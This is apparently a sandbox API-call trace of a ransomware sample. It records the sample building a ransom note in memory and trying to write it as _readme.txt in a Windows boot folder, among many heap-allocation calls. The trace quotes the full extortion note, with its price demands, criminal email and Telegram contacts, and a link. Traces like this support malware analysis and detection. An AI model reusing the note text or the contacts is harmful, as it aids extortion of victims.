RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.583] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.583] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0124.584] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.584] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.584] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.584] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.584] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.584] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.584] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.584] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.584] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.584] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.585] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.585] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.585] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.585] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.585] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.588] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.588] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.590] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.590] 